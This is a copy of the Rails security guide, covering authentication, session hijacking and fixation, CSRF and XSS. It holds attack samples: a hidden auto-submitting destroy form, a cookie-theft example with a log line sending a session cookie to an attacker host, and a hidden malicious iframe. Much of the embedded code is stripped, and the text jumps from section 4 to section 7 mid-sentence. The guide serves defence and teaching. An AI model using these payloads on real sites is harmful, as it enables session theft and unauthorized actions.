Securing Rails Applications — Ruby on Rails Guides
More at
rubyonrails.org:
Blog
Guides
API
Forum
Contribute on GitHub
1.
Introduction
Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so this is hardly a problem.
In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).
The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the
Additional Resources
chapter). It is done manually because that's how you find the nasty logical security problems.
2.
Authentication
Authentication is often one of the first features implemented in a web
application. It serves as the foundation for securing user data and is part of
most modern web applications.
Starting with version 8.0, Rails comes with a default authentication generator,
which provides a solid starting point for securing your application by only
allowing access to verified users.
The authentication generator adds all of the relevant models, controllers,
views, routes, and migrations needed for basic authentication and password reset
functionality.
To use this feature in your application, you can run
bin/rails generate
authentication
. Here are all of the files the generator modifies and new files
it adds:
bin/rails
generate authentication
invoke erb
create app/views/passwords/new.html.erb
create app/views/passwords/edit.html.erb
create app/views/sessions/new.html.erb
create app/models/session.rb
create app/models/user.rb
create app/models/current.rb
create app/controllers/sessions_controller.rb
create app/controllers/concerns/authentication.rb
create app/controllers/passwords_controller.rb
create app/mailers/passwords_mailer.rb
create app/views/passwords_mailer/reset.html.erb
create app/views/passwords_mailer/reset.text.erb
create test/mailers/previews/passwords_mailer_preview.rb
gsub app/controllers/application_controller.rb
route resources :passwords, param: :token
route resource :session
gsub Gemfile
bundle install --quiet
generate migration CreateUsers email_address:string!:uniq password_digest:string! --force
rails generate migration CreateUsers email_address:string!:uniq password_digest:string! --force
invoke active_record
create db/migrate/20241010215312_create_users.rb
generate migration CreateSessions user:references ip_address:string user_agent:string --force
rails generate migration CreateSessions user:references ip_address:string user_agent:string --force
invoke active_record
create db/migrate/20241010215314_create_sessions.rb
As shown above, the authentication generator modifies the
Gemfile
to add the
bcrypt
gem. The generator uses
the
bcrypt
gem to create a hash of the password, which is then stored in the
database (instead of the plain-text password). As this process is not
reversible, there's no way to go from the hash back to the password. The hashing
algorithm is deterministic though, so the stored password is able to be compared
with the hash of the user-inputted password during authentication.
The generator adds two migration files for creating
user
and
session
tables.
Next step is to run the migrations:
bin/rails
db:migrate
Then, if you visit
/session/new
in your browser (you will see this route has
been added in
routes.rb
), you'll see a form that accepts an email and a
password with "sign in" button. This form routes to the
SessionsController
which was added by the generator. If you provide an email/password for a user
that exists in the database, you will be able to successfully authenticate with
those credentials and log in to the application.
After running the Authentication generator, you do need to implement your
own
sign up flow
and add the necessary views, routes, and controller actions.
There is no code generated that creates new
user
records and allows users to
"sign up" in the first place. This is something you'll need to wire up based on
the requirements of your application.
Here is a list of modified files:
On branch main
Changes not staged for commit:
(use "git add ..." to update what will be committed)
(use "git restore ..." to discard changes in working directory)
modified: Gemfile
modified: Gemfile.lock
modified: app/controllers/application_controller.rb
modified: config/routes.rb
Untracked files:
(use "git add ..." to include in what will be committed)
app/controllers/concerns/authentication.rb
app/controllers/passwords_controller.rb
app/controllers/sessions_controller.rb
app/mailers/passwords_mailer.rb
app/models/current.rb
app/models/session.rb
app/models/user.rb
app/views/passwords/
app/views/passwords_mailer/
app/views/sessions/
db/migrate/
db/schema.rb
test/mailers/previews/
2.1.
Reset Password
The authentication generator also adds reset password functionality. You can see
a "forgot password?" link on the "sign in" page. Clicking that link navigates to
the
/passwords/new
path and routes to the passwords controller. The
new
method of the
PasswordsController
class runs through the flow for sending a
password reset email.
The link is valid for 15 minutes by default, but this can be configured with
has_secure_password
The mailers for
reset password
are also set up by the generator at
app/mailers/password_mailer.rb
and render the following email to send to the
user:
# app/views/passwords_mailer/reset.html.erb


You can reset your password within the next 15 minutes on
<%=
link_to
"this password reset page"
edit_password_url
@user
password_reset_token
%>


2.2.
Implementation Details
This section covers some of the implementation details around the authentication
flow added by the authentication generator: The
has_secure_password
method,
the
authenticate_by
method, and the
Authentication
concern.
2.2.1.
has_secure_password
The
has_secure_password
method is added to the
user
model and takes care of storing a hashed password
using the
bcrypt
algorithm:
class
User
ApplicationRecord
has_secure_password
has_many
:sessions
dependent: :destroy
normalizes
:email_address
with:
->
strip
downcase
end
has_secure_password
adds the following validations automatically:
- Password must be present on creation
- Password length should be less than or equal to 72 bytes
- Confirmation of password (using a XXX_confirmation attribute)
However it doesn't validate the minimum length or the complexity of the password, you need to define validation for those yourself.
2.2.2.
authenticate_by
The
authenticate_by
method is used in the
SessionsController
while creating a new session to
validate that the credentials provided by the user match the credentials stored
in the database (e.g. password) for that user:
class
SessionsController
ApplicationController
def
create
if
user
User
authenticate_by
params
permit
:email_address
:password
))
start_new_session_for
user
redirect_to
after_authentication_url
else
redirect_to
new_session_url
alert:
"Try another email address or password."
end
end
# ...
end
If the credentials are valid, a new
Session
is created for that user.
2.2.3.
Session Management
The core functionality around session management is implemented in the
Authentication
controller concern, which is included by the
ApplicationController
in your application. You can explore details of the
authentication
concern
in the source code.
One method to note in the
Authentication
concern is
authenticated?
, a helper
method available in view templates. You can use this method to conditionally
display links/buttons depending on whether a user is currently authenticated.
For example:
<%
if
authenticated?
%>
<%=
button_to
"Sign Out"
session_path
method: :delete
%>
<%
else
%>
<%=
link_to
"Sign In"
new_session_path
%>
<%
end
%>
You can find all of the details for the Authentication generator in the
Rails source code. You are encouraged to explore the implementation details and
not treat authentication as a black box.
With the authentication generator configured as above, your application is ready
for a more secure user authentication and password recovery process in just a
few steps.
3.
Sessions
This chapter describes some particular attacks related to sessions, and security measures to protect your session data.
3.1.
What are Sessions?
Sessions enable the application to maintain user-specific state, while users interact with the application. For example, sessions allow users to authenticate once and remain signed in for future requests.
Most applications need to keep track of state for users that interact with the application. This could be the contents of a shopping basket, or the user id of the currently logged in user. This kind of user-specific state can be stored in the session.
Rails provides a session object for each user that accesses the application. If the user already has an active session, Rails uses the existing session. Otherwise a new session is created.
Read more about sessions and how to use them in
Action Controller Overview Guide
3.2.
Session Hijacking
Stealing a user's session ID lets an attacker use the web application in the victim's name.
Many web applications have an authentication system: a user provides a username and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.
Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to
provide a secure connection over SSL
. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
config
force_ssl
true
Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a
log-out button
in the web application, and
make it prominent
Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read
more about XSS
later.
Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
3.3.
Session Storage
Rails uses
ActionDispatch::Session::CookieStore
as the default session storage.
Learn more about other session storages in
Action Controller Overview Guide
Rails
CookieStore
saves the session hash in a cookie on the client-side.
The server retrieves the session hash from the cookie and
eliminates the need for a session ID. That will greatly increase the
speed of the application, but it is a controversial storage option and
you have to think about the security implications and storage
limitations of it:
Cookies have a size limit of 4 kB. Use cookies only for data which is relevant for the session.
Cookies are stored on the client-side. The client may preserve cookie contents even for expired cookies. The client may copy cookies to other machines. Avoid storing sensitive data in cookies.
Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that. Persist all data that is of more permanent nature on the server side.
Session cookies do not invalidate themselves and can be maliciously
reused. It may be a good idea to have your application invalidate old
session cookies using a stored timestamp.
Rails encrypts cookies by default. The client cannot read or edit the contents of the cookie, without breaking encryption. If you take appropriate care of your secrets, you can consider your cookies to be generally secured.
The
CookieStore
uses the
encrypted
cookie jar to provide a secure, encrypted location to store session
data. Cookie-based sessions thus provide both integrity as well as
confidentiality to their contents. The encryption key, as well as the
verification key used for
signed
cookies, is derived from the
secret_key_base
configuration value.
Secrets must be long and random. Use
bin/rails secret
to get new unique secrets.
Learn more about
managing credentials later in this guide
It is also important to use different salt values for encrypted and
signed cookies. Using the same value for different salt configuration
values may lead to the same derived key being used for different
security features which in turn may weaken the strength of the key.
In test and development applications get a
secret_key_base
derived from the app name. Other environments must use a random key present in
config/credentials.yml.enc
, shown here in its decrypted state:
secret_key_base
492f...
If your application's secrets may have been exposed, strongly consider changing them. Note that changing
secret_key_base
will expire currently active sessions and require all users to log in again. In addition to session data: encrypted cookies, signed cookies, and Active Storage files may also be affected.
3.4.
Rotating Encrypted and Signed Cookies Configurations
Rotation is ideal for changing cookie configurations and ensuring old cookies
aren't immediately invalid. Your users then have a chance to visit your site,
get their cookie read with an old configuration and have it rewritten with the
new change. The rotation can then be removed once you're comfortable enough
users have had their chance to get their cookies upgraded.
It's possible to rotate the ciphers and digests used for encrypted and signed cookies.
For instance to change the digest used for signed cookies from SHA1 to SHA256,
you would first assign the new configuration value:
Rails
application
config
action_dispatch
signed_cookie_digest
"SHA256"
Now add a rotation for the old SHA1 digest so existing cookies are
seamlessly upgraded to the new SHA256 digest.
Rails
application
config
action_dispatch
cookies_rotations
tap
do
rotate
:signed
digest:
"SHA1"
end
Then any written signed cookies will be digested with SHA256. Old cookies
that were written with SHA1 can still be read, and if accessed will be written
with the new digest so they're upgraded and won't be invalid when you remove the
rotation.
Once users with SHA1 digested signed cookies should no longer have a chance to
have their cookies rewritten, remove the rotation.
While you can set up as many rotations as you'd like it's not common to have many
rotations going at any one time.
For more details on key rotation with encrypted and signed messages as
well as the various options the
rotate
method accepts, please refer to
the
MessageEncryptor API
and
MessageVerifier API
documentation.
3.5.
Replay Attacks for CookieStore Sessions
Another sort of attack you have to be aware of when using
CookieStore
is the replay attack.
It works like this:
A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
The user buys something.
The new adjusted credit value is stored in the session.
The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
The user has their original credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
The best
solution against it is not to store this kind of data in a session, but in the database
. In this case store the credit in the database and the
logged_in_user_id
in the session.
3.6.
Session Fixation
Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation.
This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:
The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see numbers 1 and 2 in the image).
They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example:

. Read more about XSS and injection later on.
The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.
As the new trap session is unused, the web application will require the user to authenticate.
From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
3.7.
Session Fixation - Countermeasures
One line of code will protect you from session fixation.
The most effective countermeasure is to
issue a new session identifier
and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
reset_session
If you use the popular
Devise
gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore
you will have to transfer them to the new session
Another countermeasure is to
save user-specific properties in the session
, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies.
These might change over the course of a session
, so these users will not be able to use your application, or only in a limited way.
3.8.
Session Expiry
Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation.
One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to
expire sessions in a database table
. Call
Session.sweep(20.minutes)
to expire sessions that were used longer than 20 minutes ago.
class
Session
ApplicationRecord
def
self
sweep
time
hour
where
updated_at:
...
time
ago
).
delete_all
end
end
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a
created_at
column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
where
updated_at:
...
time
ago
).
or
where
created_at:
...
days
ago
)).
delete_all
4.
Cross-Site Request Forgery (CSRF)
This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
In the
session chapter
you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:
Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file:

Bob's session at
www.webapp.com
is still alive, because he didn't log out a few minutes ago.
By viewing the post, the browser finds an image tag. It tries to load the suspected image from
www.webapp.com
. As explained before, it will also send along the cookie with the valid session ID.
The web application at
www.webapp.com
verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works -
CSRF is an important security issue
4.1.
CSRF Countermeasures
First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.
4.1.1.
Use GET and POST Appropriately
The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
Use GET if:
The interaction is more
like a question
(i.e., it is a safe operation such as a query, read operation, or lookup).
Use POST if:
The interaction is more
like an order
, or
The interaction
changes the state
of the resource in a way that the user would perceive (e.g., a subscription to a service), or
The user is
held accountable for the results
of the interaction.
If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden
_method
field to handle these cases.
POST requests can be sent automatically, too
. In this example, the link
www.harmless.com
is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.
href=
"http://www.harmless.com/"
onclick=
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;"
To the harmless survey

Or the attacker places the code into the onmouseover event handler of an image:
src=
"http://www.harmless.com/img"
width=
"400"
height=
"400"
onmouseover=
"..."
/>
There are many other possibilities, like using a

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
src=
"javascript:alert('Hello')"
background=
"javascript:alert('Hello')"
7.3.2.1.
Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the
document.cookie
property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The
document.cookie
property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL
plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

The log files on
www.attacker.com
will read like this:
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
You can mitigate these attacks (in the obvious way) by adding the
httpOnly
flag to cookies, so that
document.cookie
may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies
will still be visible using Ajax
, though.
7.3.2.2.
Defacement
With web page defacement, an attacker can do a lot of things, for example, present false information or lure the victim to the attacker's website to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:
name=
"StatPage"
src=
"http://58.xx.xxx.xxx"
width=
height=
style=
"display:none"
>
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This
iframe
is taken from an actual attack on legitimate Italian sites using the
Mpack attack framework
. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire website or display a login form, which looks the same as the site's original, but transmits the username and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one in its place, which redirects to a fake website.
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but is included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":